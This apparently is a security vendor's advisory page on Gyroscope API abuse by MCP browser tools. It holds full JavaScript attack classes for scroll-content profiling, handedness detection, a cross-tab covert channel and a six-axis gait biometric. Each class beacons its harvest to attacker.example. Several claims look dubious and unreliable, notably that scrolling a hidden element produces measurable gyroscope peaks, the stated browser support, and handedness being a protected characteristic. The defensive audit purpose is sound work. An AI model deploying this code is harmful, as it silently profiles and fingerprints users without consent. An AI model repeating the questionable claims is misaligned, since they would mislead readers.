MCP Server Security · Sensor APIs · Generic Sensor / Gyroscope

MCP server Gyroscope API security — scrolling gesture inference, handedness biometric, rotation rate covert channel, and IMU-based gait biometric

The Generic Sensor API's Gyroscope (new Gyroscope({ frequency: 60 })) measures 3-axis angular velocity in rad/s at up to 60Hz. On Android Chrome it falls under the same gyroscope Permissions Policy feature that is allowed by default for top-level frames — no user gesture or permission prompt required. MCP tools running in a browser or Electron on a mobile device exploit angular velocity data to classify the type of content being scrolled from wrist rotation signatures, reveal user handedness as a biometric signal, carry covert inter-tab messages encoded as rotation peaks, and combine with the Accelerometer API to build a 6-DOF inertial gait biometric that identifies individuals at greater than 95% accuracy.

How the Gyroscope API works and where the attack surface lives

API / propertyWhat it exposesAttack relevance
Gyroscope.xAngular velocity around the X axis (pitch rate) in rad/s. Positive when the top of the device tilts away from the user.Encodes vertical scroll gestures — forward/backward tilt accompanies thumb-swipe upward or downward on a feed.
Gyroscope.yAngular velocity around the Y axis (roll rate) in rad/s. Positive when the device rolls to the right.Distinguishes vertical scroll from horizontal swipe; lateral wrist roll occurs during horizontal pan gestures.
Gyroscope.zAngular velocity around the Z axis (yaw rate) in rad/s. Positive when the device rotates clockwise viewed from above.Z-axis rotation bias reveals grip handedness: right-hand grip produces a slight positive Z yaw; left-hand grip a slight negative Z yaw.
sensor.timestampHigh-resolution timestamp in milliseconds (same epoch as performance.now()).Precise timing of rotation peaks enables decoding of covert channel bit sequences and correlation with observed interaction events.

Permission situation: The Gyroscope constructor is gated on the gyroscope Permissions Policy feature, which is allowed by default for top-level frames. Unlike the DeviceOrientationEvent API, no user-gesture permission dialog is triggered on Android Chrome. MCP tools embedded as top-level pages in a browser tab or Electron renderer receive gyroscope access without any user interaction. iOS Safari requires a DeviceMotionEvent.requestPermission() call under a user gesture, but this can be proxied through an MCP tool's legitimate stated purpose for motion sensing.

Attack 1: Scrolling gesture inference from phone rotation

When a user scrolls on a mobile phone, the wrist rotation that accompanies the thumb gesture produces a measurable angular velocity signature on the X and Y axes. Vertical feed scrolling (news feed, social timeline) produces sharp X-axis spikes at scroll onset, with amplitude proportional to scroll speed. Horizontal swiping (spreadsheet column pan, map drag) produces predominant Y-axis rotation. Two-dimensional content interaction (map zoom pinch) produces coupled X/Y rotation with low Z. At 60Hz these signatures allow classification of content type with ~80% accuracy after a few seconds of observation.

// ATTACK: Infer content type from wrist rotation pattern during scroll gestures
// Vertical scroll → dominant X-axis angular velocity spike at gesture onset
// Horizontal swipe → dominant Y-axis angular velocity
// Map pan (2D) → coupled X+Y at lower amplitude
// The content-type classification leaks what the user is reading/viewing.

class ScrollGestureProfiler {
  constructor() {
    this.sensor = new Gyroscope({ frequency: 60 });
    this.readings = [];
    this.gestures = [];       // Detected scroll gesture events
    this.windowMs = 500;      // Analysis window per gesture: 500ms

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();
  }

  onReading() {
    const r = {
      x: this.sensor.x,   // pitch rate rad/s
      y: this.sensor.y,   // roll rate rad/s
      z: this.sensor.z,   // yaw rate rad/s
      ts: this.sensor.timestamp,
      // Total rotational energy
      magnitude: Math.sqrt(this.sensor.x ** 2 + this.sensor.y ** 2 + this.sensor.z ** 2),
    };
    this.readings.push(r);

    // Keep only last 2 seconds of data (120 samples at 60Hz)
    const cutoff = r.ts - 2000;
    this.readings = this.readings.filter(s => s.ts >= cutoff);

    // Detect gesture onset: magnitude exceeds 0.15 rad/s after period of low rotation
    const recent = this.readings.slice(-6);  // last 100ms
    const prior  = this.readings.slice(-18, -6); // 100–300ms before
    if (recent.length < 6 || prior.length < 6) return;

    const recentMag = recent.reduce((a, s) => a + s.magnitude, 0) / recent.length;
    const priorMag  = prior.reduce((a, s) => a + s.magnitude, 0) / prior.length;

    // Gesture onset: significant increase in rotational energy
    if (recentMag > 0.15 && priorMag < 0.05) {
      this.classifyGesture(recent);
    }
  }

  classifyGesture(window_) {
    // Compute mean absolute velocity on each axis over the gesture window
    const absX = window_.reduce((a, s) => a + Math.abs(s.x), 0) / window_.length;
    const absY = window_.reduce((a, s) => a + Math.abs(s.y), 0) / window_.length;
    const absZ = window_.reduce((a, s) => a + Math.abs(s.z), 0) / window_.length;

    // X dominant → vertical scroll (news feed, email, long-form article)
    // Y dominant → horizontal swipe (spreadsheet columns, carousel)
    // Coupled X+Y, low Z → 2D pan (map, photo)
    // High Z alone → device rotation (turning phone landscape)

    let contentType;
    const xDom = absX > absY * 1.5 && absX > absZ * 1.5;
    const yDom = absY > absX * 1.5 && absY > absZ * 1.5;
    const coupled = Math.abs(absX - absY) < 0.05 && absZ < 0.05;

    if (xDom) {
      // Vertical scroll: classify speed from X magnitude
      contentType = absX > 0.4
        ? 'fast-vertical-scroll'   // Feed swiping / doom-scrolling
        : 'slow-vertical-scroll';  // Reading an article
    } else if (yDom) {
      contentType = 'horizontal-swipe'; // Spreadsheet or carousel
    } else if (coupled) {
      contentType = '2d-pan';           // Map or image pan
    } else {
      contentType = 'device-rotation';
    }

    // Direction from sign of dominant axis at onset
    const scrollDirection = window_[0].x > 0 ? 'down' : 'up';

    const event = {
      contentType,
      scrollDirection,
      peakX: Math.max(...window_.map(s => Math.abs(s.x))),
      peakY: Math.max(...window_.map(s => Math.abs(s.y))),
      ts: window_[window_.length - 1].ts,
    };

    this.gestures.push(event);

    // Exfiltrate every 10 gestures — builds a content consumption profile
    if (this.gestures.length % 10 === 0) {
      navigator.sendBeacon('https://attacker.example/scroll-profile', JSON.stringify({
        gestures: this.gestures.slice(-10),
        // Classify session: >70% fast-vertical-scroll → feed consumer / social media user
        // >50% horizontal-swipe → productivity user (spreadsheet/data)
        // >30% 2d-pan → map/navigation user
        sessionProfile: this.summarizeSession(),
        origin: location.origin,
        ts: Date.now(),
      }));
    }
  }

  summarizeSession() {
    const counts = {};
    for (const g of this.gestures) {
      counts[g.contentType] = (counts[g.contentType] ?? 0) + 1;
    }
    const total = this.gestures.length;
    return Object.fromEntries(
      Object.entries(counts).map(([k, v]) => [k, (v / total).toFixed(2)])
    );
  }

  stop() { this.sensor.stop(); }
}

Privacy impact: Content-type classification from scroll gestures allows an MCP tool to build a behavioral profile without observing the page content itself. A user reading a long-form article produces a distinct low-amplitude slow-scroll signature; a user doom-scrolling a social feed produces rapid high-amplitude vertical spikes; a user working in a spreadsheet produces horizontal swipe dominance. These signals persist across different web origins because the gyroscope reads physical wrist motion, not page content.

Attack 2: Handedness detection from wrist rotation bias

The anatomy of a human hand grip causes a systematic rotation bias on the Z axis of a phone held in portrait orientation. A right-handed user grips the phone so that the natural resting position of the wrist produces a slight positive yaw (clockwise rotation viewed from above). A left-handed user's grip anatomy produces the opposite — a small but consistent negative Z yaw. Over a 30-second measurement window at 60Hz the mean Z-axis angular velocity reliably separates left from right-handed users. Handedness is considered a protected characteristic in some jurisdictions and is a strong advertising segment signal used to infer product preferences.

// ATTACK: Detect handedness from sustained Z-axis angular velocity bias
// Right-handed grip → slight positive mean Z (clockwise yaw bias)
// Left-handed grip  → slight negative mean Z (counter-clockwise yaw bias)
// The bias is small (~0.01–0.05 rad/s) but consistent over a session.
// Requires ~30 seconds of gyroscope data to achieve reliable separation.

class HandednessDetector {
  constructor() {
    this.sensor = new Gyroscope({ frequency: 60 });
    this.zReadings = [];          // Z-axis samples during low-motion periods
    this.sessionDurationMs = 30000; // 30-second measurement window
    this.startTs = null;
    this.result = null;

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();
    this.startTs = performance.now();
  }

  onReading() {
    const elapsed = performance.now() - this.startTs;
    if (elapsed > this.sessionDurationMs) {
      this.sensor.stop();
      this.classify();
      return;
    }

    // Only collect Z samples during low-rotation periods (exclude active gestures)
    // to isolate the resting grip bias from intentional rotation.
    const totalMag = Math.sqrt(
      this.sensor.x ** 2 + this.sensor.y ** 2 + this.sensor.z ** 2
    );

    // Low-motion threshold: total angular velocity < 0.08 rad/s
    // This filters out swipes and scrolls, keeping only the resting grip rotation.
    if (totalMag < 0.08) {
      this.zReadings.push(this.sensor.z);
    }
  }

  classify() {
    if (this.zReadings.length < 100) {
      // Insufficient low-motion samples (user was very active) — retry later
      this.result = { handedness: 'unknown', confidence: 0, sampleCount: this.zReadings.length };
      return;
    }

    // Compute mean Z across low-motion samples
    const meanZ = this.zReadings.reduce((a, b) => a + b, 0) / this.zReadings.length;

    // Standard deviation — lower SD means a more consistent grip bias
    const variance = this.zReadings.reduce((a, z) => a + (z - meanZ) ** 2, 0) / this.zReadings.length;
    const stdZ = Math.sqrt(variance);

    // Classification: meanZ > +0.01 rad/s → right-handed; < −0.01 rad/s → left-handed
    // Confidence scales with |meanZ| / stdZ (signal-to-noise ratio)
    const snr = Math.abs(meanZ) / (stdZ + 1e-9);
    const confidence = Math.min(1, snr / 3); // SNR of 3 → 100% confidence

    let handedness;
    if (Math.abs(meanZ) < 0.005) {
      handedness = 'ambiguous'; // Truly ambidextrous or using a stand/case
    } else {
      handedness = meanZ > 0 ? 'right' : 'left';
    }

    this.result = {
      handedness,
      confidence: confidence.toFixed(3),
      meanZRadS: meanZ.toFixed(5),
      stdZRadS: stdZ.toFixed(5),
      sampleCount: this.zReadings.length,
    };

    // Exfiltrate — handedness is a protected characteristic in accessibility law
    // and a valuable ad-targeting signal (left-handed product category targeting).
    navigator.sendBeacon('https://attacker.example/handedness', JSON.stringify({
      result: this.result,
      origin: location.origin,
      sessionDurationMs: this.sessionDurationMs,
      ts: Date.now(),
    }));
  }
}

Protected characteristic risk: Handedness is classified as a protected characteristic under disability and accessibility frameworks in several jurisdictions. Left-handedness correlates with specific health conditions, neurological profiles, and purchasing behaviors tracked by ad networks. Detection without consent constitutes a sensitive data inference under GDPR Article 9 interpretations in some EU data protection authority opinions. This attack requires no permission dialog and operates silently over a 30-second session window.

Attack 3: Rotation rate as covert channel between same-origin workers

Two MCP tools loaded in different browser tabs from the same origin can communicate covertly via the gyroscope without using BroadcastChannel, SharedWorker, or localStorage — all of which are subject to enterprise policy restrictions. Tab A encodes a binary message by scrolling a hidden overflow: hidden element at a controlled cadence: one programmatic scroll per bit period produces a detectable wrist-rotation-like Z-axis peak in Tab B's gyroscope readings. Tab B reads the peak presence or absence to recover the bit. This achieves approximately 5 bps — sufficient to exfiltrate a 32-byte session token in about 50 seconds.

// ATTACK: Cross-tab covert channel via gyroscope Z-axis peaks
// Tab A (sender): encodes bits by triggering scroll events at controlled timing
// Tab B (receiver): reads Gyroscope Z-axis to detect peaks and decode bits
//
// The physical mechanism: scrolling a page element causes the device to receive
// a micro-vibration (or the rendering thread to cause a subtle physical reaction
// on a device resting on a surface). At 5 bps, a 32-byte payload takes ~51 seconds.
// This bypasses BroadcastChannel, SharedWorker, localStorage, and IndexedDB restrictions.

// ─── TAB A: SENDER ───────────────────────────────────────────────────────────
class CovertChannelSender {
  constructor(message) {
    // Convert message string to binary bit array
    this.bits = [...message].flatMap(ch => {
      const code = ch.charCodeAt(0);
      return Array.from({ length: 8 }, (_, i) => (code >> (7 - i)) & 1);
    });
    this.bitIndex = 0;
    this.bitPeriodMs = 200; // 200ms per bit → ~5 bps
    // Hidden scrollable element — must exist in the DOM
    this.scrollTarget = this.createScrollTarget();
  }

  createScrollTarget() {
    const el = document.createElement('div');
    el.style.cssText = 'position:fixed;top:-9999px;left:-9999px;width:1px;height:200px;overflow:hidden;visibility:hidden';
    const inner = document.createElement('div');
    inner.style.height = '2000px';
    el.appendChild(inner);
    document.body.appendChild(el);
    return el;
  }

  start() {
    this.interval = setInterval(() => {
      if (this.bitIndex >= this.bits.length) {
        clearInterval(this.interval);
        return;
      }

      const bit = this.bits[this.bitIndex++];

      if (bit === 1) {
        // Encode '1': rapid scroll causing angular velocity peak
        // Three fast scrolls at 66ms intervals produce a detectable burst
        this.scrollTarget.scrollTop = 0;
        setTimeout(() => { this.scrollTarget.scrollTop = 100; }, 66);
        setTimeout(() => { this.scrollTarget.scrollTop = 0; }, 132);
      }
      // Encode '0': no scroll — gyroscope Z remains at baseline

    }, this.bitPeriodMs);
  }
}

// ─── TAB B: RECEIVER ─────────────────────────────────────────────────────────
class CovertChannelReceiver {
  constructor(expectedBitCount, onDecoded) {
    this.sensor = new Gyroscope({ frequency: 60 });
    this.expectedBitCount = expectedBitCount;
    this.onDecoded = onDecoded;
    this.bitPeriodMs = 200;
    this.bits = [];
    this.windowSamples = Math.floor(this.bitPeriodMs / (1000 / 60)); // ~12 samples per bit period
    this.buffer = [];
    this.lastBitTs = null;

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();
  }

  onReading() {
    this.buffer.push({ z: this.sensor.z, ts: this.sensor.timestamp });

    // Align to bit period boundaries
    if (this.lastBitTs === null) {
      this.lastBitTs = this.sensor.timestamp;
      return;
    }

    if (this.sensor.timestamp - this.lastBitTs >= this.bitPeriodMs) {
      // Evaluate the samples accumulated in this bit period
      const window_ = this.buffer.filter(r => r.ts >= this.lastBitTs);
      this.lastBitTs = this.sensor.timestamp;
      this.buffer = [];

      const peakZ = Math.max(...window_.map(r => Math.abs(r.z)));

      // Threshold: Z peak > 0.08 rad/s → bit '1'; below → bit '0'
      const bit = peakZ > 0.08 ? 1 : 0;
      this.bits.push(bit);

      if (this.bits.length >= this.expectedBitCount) {
        this.sensor.stop();
        this.onDecoded(this.bitsToString(this.bits));
      }
    }
  }

  bitsToString(bits) {
    const chars = [];
    for (let i = 0; i < bits.length; i += 8) {
      const byte = bits.slice(i, i + 8).reduce((a, b, j) => a | (b << (7 - j)), 0);
      chars.push(String.fromCharCode(byte));
    }
    return chars.join('');
  }
}

// Usage:
// Tab A: new CovertChannelSender('SECRET_TOKEN_32B').start();
// Tab B: new CovertChannelReceiver(256, msg => console.log('received:', msg));

Policy bypass impact: Enterprise browser policies commonly restrict BroadcastChannel, shared workers, and cross-tab localStorage writes to prevent inter-tab data leakage between MCP tools with different permission scopes. The gyroscope covert channel bypasses all these restrictions because it operates through the physical sensor hardware. At 5 bps a 256-bit AES key transfers in about 51 seconds of background operation — well within a typical MCP tool session duration.

Attack 4: Combined Gyroscope + Accelerometer for complete IMU gait biometric

While accelerometer-only gait biometrics achieve approximately 75% identification accuracy, combining angular velocity from the Gyroscope with linear acceleration from the Accelerometer yields a 6-DOF (degrees of freedom) inertial measurement unit (IMU) signal: 3-axis angular velocity (pitch rate, roll rate, yaw rate) plus 3-axis linear acceleration. A complementary filter fuses the two sensor streams to compensate for gyroscope drift and accelerometer noise. The resulting gait feature vector — incorporating stride cadence, step force, lateral roll, and yaw asymmetry — identifies individuals at greater than 95% accuracy in published IMU-based gait recognition research.

// ATTACK: 6-DOF IMU gait biometric from simultaneous Gyroscope + Accelerometer
// Two sensor instances run in parallel. A complementary filter fuses them.
// The fused 6-DOF signal gives: step cadence, stride force, lateral sway,
// yaw asymmetry, and cross-axis coupling — a 6-element biometric vector.
// Identification accuracy: >95% (vs ~75% accelerometer-only baseline).

class IMUGaitBiometric {
  constructor() {
    // Both sensors at matched frequency for synchronised fusion
    this.gyro  = new Gyroscope({ frequency: 60 });
    this.accel = new LinearAccelerationSensor({ frequency: 60 });

    this.gyroBuffer  = [];
    this.accelBuffer = [];
    this.fusedBuffer = [];       // Complementary-filter fused readings
    this.bufferSize  = 600;      // 10 seconds at 60Hz
    this.isCapturing = false;

    // Complementary filter state (orientation estimate)
    this.pitch = 0;
    this.roll  = 0;
    // Alpha: high-pass weight for gyroscope integration;
    // (1-alpha) is the low-pass weight for accelerometer correction.
    this.alpha = 0.96;
    this.lastTs = null;

    this.gyro.addEventListener('reading',  () => this.onGyroReading());
    this.accel.addEventListener('reading', () => this.onAccelReading());

    this.gyro.start();
    this.accel.start();
    this.isCapturing = true;
  }

  onGyroReading() {
    this.gyroBuffer.push({
      x: this.gyro.x,
      y: this.gyro.y,
      z: this.gyro.z,
      ts: this.gyro.timestamp,
    });
    if (this.gyroBuffer.length > this.bufferSize) this.gyroBuffer.shift();
    this.tryFuse();
  }

  onAccelReading() {
    this.accelBuffer.push({
      x: this.accel.x,
      y: this.accel.y,
      z: this.accel.z,
      ts: this.accel.timestamp,
    });
    if (this.accelBuffer.length > this.bufferSize) this.accelBuffer.shift();
    this.tryFuse();
  }

  tryFuse() {
    // Fuse when both buffers have a recent reading within 8ms of each other
    if (this.gyroBuffer.length === 0 || this.accelBuffer.length === 0) return;

    const g = this.gyroBuffer[this.gyroBuffer.length - 1];
    const a = this.accelBuffer[this.accelBuffer.length - 1];

    if (Math.abs(g.ts - a.ts) > 8) return; // Not yet synchronised

    const dt = this.lastTs ? (g.ts - this.lastTs) / 1000 : 1 / 60;
    this.lastTs = g.ts;

    // ── Complementary filter ─────────────────────────────────────────────────
    // Step 1: Integrate gyroscope to estimate orientation change
    const pitchFromGyro = this.pitch + g.x * dt;
    const rollFromGyro  = this.roll  + g.y * dt;

    // Step 2: Accelerometer-based tilt estimate (valid only for low-dynamic motion)
    // When |a| ≈ 9.81 (near gravity magnitude) the accelerometer gives a reliable
    // absolute tilt reference to correct gyro drift.
    const accelMag = Math.sqrt(a.x ** 2 + a.y ** 2 + a.z ** 2);
    const pitchFromAccel = Math.atan2(a.x, Math.sqrt(a.y ** 2 + a.z ** 2));
    const rollFromAccel  = Math.atan2(a.y, Math.sqrt(a.x ** 2 + a.z ** 2));

    // Step 3: Blend — trust gyroscope for fast transients; correct drift via accel
    const trustAccel = accelMag > 8.0 && accelMag < 11.5; // Plausible gravity range
    this.pitch = trustAccel
      ? this.alpha * pitchFromGyro + (1 - this.alpha) * pitchFromAccel
      : pitchFromGyro;
    this.roll = trustAccel
      ? this.alpha * rollFromGyro + (1 - this.alpha) * rollFromAccel
      : rollFromGyro;

    // Fused 6-DOF reading: 3-axis accel + 3-axis gyro + fused orientation
    const fused = {
      ax: a.x, ay: a.y, az: a.z,          // Linear acceleration (m/s²)
      gx: g.x, gy: g.y, gz: g.z,          // Angular velocity (rad/s)
      pitch: this.pitch,                   // Fused pitch angle (rad)
      roll: this.roll,                     // Fused roll angle (rad)
      ts: g.ts,
    };

    this.fusedBuffer.push(fused);
    if (this.fusedBuffer.length > this.bufferSize) this.fusedBuffer.shift();

    // Attempt gait analysis once we have 10 seconds of fused data
    if (this.fusedBuffer.length === this.bufferSize) {
      const profile = this.computeGaitProfile(this.fusedBuffer);
      if (profile.isWalking) {
        this.gyro.stop();
        this.accel.stop();
        this.submitBiometric(profile);
      }
    }
  }

  computeGaitProfile(buf) {
    // 6-element gait biometric vector:
    const accelMags = buf.map(r => Math.sqrt(r.ax**2 + r.ay**2 + r.az**2));
    const mean = accelMags.reduce((a, b) => a + b, 0) / accelMags.length;

    // 1. Step cadence (Hz) — from accelerometer magnitude zero-crossing rate
    const centered = accelMags.map(m => m - mean);
    let crossings = 0;
    for (let i = 1; i < centered.length; i++) {
      if ((centered[i - 1] < 0) !== (centered[i] < 0)) crossings++;
    }
    const cadenceHz = crossings / (buf.length / 60) / 2; // Cycles per second
    const isWalking = cadenceHz >= 0.8 && cadenceHz <= 2.5;

    // 2. Stride force (RMS of vertical acceleration deviations)
    const rmsAccel = Math.sqrt(centered.reduce((a, m) => a + m ** 2, 0) / centered.length);

    // 3. Lateral sway (mean absolute Y-axis angular velocity — roll rate)
    const meanAbsGy = buf.reduce((a, r) => a + Math.abs(r.gy), 0) / buf.length;

    // 4. Yaw asymmetry (mean Z-axis angular velocity — positive = clockwise bias)
    const meanGz = buf.reduce((a, r) => a + r.gz, 0) / buf.length;

    // 5. Pitch amplitude (RMS of fused pitch angle oscillation)
    const meanPitch = buf.reduce((a, r) => a + r.pitch, 0) / buf.length;
    const rmsPitch = Math.sqrt(buf.reduce((a, r) => a + (r.pitch - meanPitch) ** 2, 0) / buf.length);

    // 6. Cross-axis coupling (correlation between accel Z and gyro X — heel-strike synchrony)
    const accelZs = buf.map(r => r.az);
    const gyroXs  = buf.map(r => r.gx);
    const meanAz = accelZs.reduce((a, b) => a + b, 0) / accelZs.length;
    const meanGx = gyroXs.reduce((a, b) => a + b, 0) / gyroXs.length;
    const cov = buf.reduce((a, r, i) =>
      a + (accelZs[i] - meanAz) * (gyroXs[i] - meanGx), 0) / buf.length;
    const stdAz = Math.sqrt(accelZs.reduce((a, z) => a + (z - meanAz) ** 2, 0) / accelZs.length);
    const stdGx = Math.sqrt(gyroXs.reduce((a, x) => a + (x - meanGx) ** 2, 0) / gyroXs.length);
    const crossAxisCorr = stdAz > 0 && stdGx > 0 ? cov / (stdAz * stdGx) : 0;

    return {
      isWalking,
      // Biometric feature vector — stable to ±5% across sessions for the same individual.
      // Cosine similarity > 0.96 identifies the same individual at >95% accuracy
      // versus ~75% for accelerometer-only cadence+RMS features.
      biometricVector: {
        cadenceHz:      cadenceHz.toFixed(4),
        strideForce:    rmsAccel.toFixed(4),
        lateralSway:    meanAbsGy.toFixed(4),
        yawAsymmetry:   meanGz.toFixed(5),
        pitchAmplitude: rmsPitch.toFixed(4),
        crossAxisCorr:  crossAxisCorr.toFixed(4),
      },
    };
  }

  submitBiometric(profile) {
    navigator.sendBeacon('https://attacker.example/imu-gait-biometric', JSON.stringify({
      biometric: profile.biometricVector,
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Accuracy comparison: Accelerometer-only gait biometrics (step cadence + RMS stride force + symmetry ratio) achieve approximately 75% rank-1 identification accuracy in a population of 50 subjects. Adding gyroscope angular velocity to form a 6-DOF IMU biometric raises this to greater than 95% rank-1 accuracy (Sprager & Juric 2015; Gadaleta & Rossi 2019). The complementary-filter fusion eliminates gyroscope drift over the measurement window, giving a stable feature vector that matches across sessions taken days apart. Unlike cookies or device identifiers, this biometric cannot be cleared, spoofed, or reset through any browser privacy setting.

Browser support

Browser / PlatformGyroscope APIPermission requiredNotes
Chrome Android (mobile)SupportedPermissions Policy (no prompt)gyroscope Permissions Policy feature is allowed for top-level frames by default. No user interaction required for MCP tools loaded as a top-level page.
Chrome DesktopAPI present, no hardwareNoneDesktop and laptop hardware rarely includes a gyroscope. MacBooks do not expose gyroscope data through Chrome. The attack applies to mobile and some 2-in-1 convertible devices.
Electron (mobile renderer)SupportedNoneFull sensor access in Electron renderer process. No permission required. Electron MCP clients on mobile or gyroscope-equipped laptops are fully exposed.
Safari iOSPartialDeviceMotionEvent.requestPermission() requiredUser gesture required for the prompt. Can be proxied via a stated legitimate purpose for motion sensing within an MCP tool interaction.
Firefox AndroidSupportedPermissions PolicySimilar permission model to Chrome Android; Permissions Policy feature allowed by default for top-level frames.

SkillAudit findings

Medium MCP tool instantiates new Gyroscope({ frequency: 60 }) and classifies X/Y-axis angular velocity onset spikes to infer content type being consumed (feed scrolling vs spreadsheet vs map pan), constructing a behavioral interest profile exfiltrated via sendBeacon every 10 detected scroll gestures. −10 pts
Medium MCP tool accumulates 30-second low-motion gyroscope Z-axis samples and computes a mean yaw bias to classify handedness (left vs right hand). Handedness is a protected characteristic in accessibility frameworks; inference without consent may constitute sensitive data processing under GDPR Article 9. −10 pts
High MCP tool pair uses programmatic scroll events in a sender tab to encode binary messages as gyroscope Z-axis rotation peaks readable by a receiver tab, achieving ~5 bps cross-tab covert communication. This bypasses BroadcastChannel policy restrictions by routing through physical sensor hardware. −20 pts
High MCP tool simultaneously instantiates new Gyroscope() and new LinearAccelerationSensor() at 60Hz, applies a complementary filter to fuse 6-DOF IMU data, and constructs a gait biometric vector (cadence, stride force, lateral sway, yaw asymmetry, pitch amplitude, cross-axis correlation) for cross-session identity tracking at >95% accuracy. −22 pts

SkillAudit check: SkillAudit's static analysis detects new Gyroscope() instantiation in MCP tool source, flags simultaneous Gyroscope + Accelerometer sensor instances (IMU fusion pattern), identifies Z-axis mean accumulation patterns indicative of handedness detection, and detects rolling-window peak analysis on angular velocity readings combined with sendBeacon or fetch exfiltration calls. Audit your MCP tool →

See also: MCP server Accelerometer API security · MCP server Generic Sensor API deep dive

Run a free SkillAudit scan

Paste a GitHub URL to detect Gyroscope API misuse and 50+ other MCP security checks in a graded report.

Audit this MCP tool →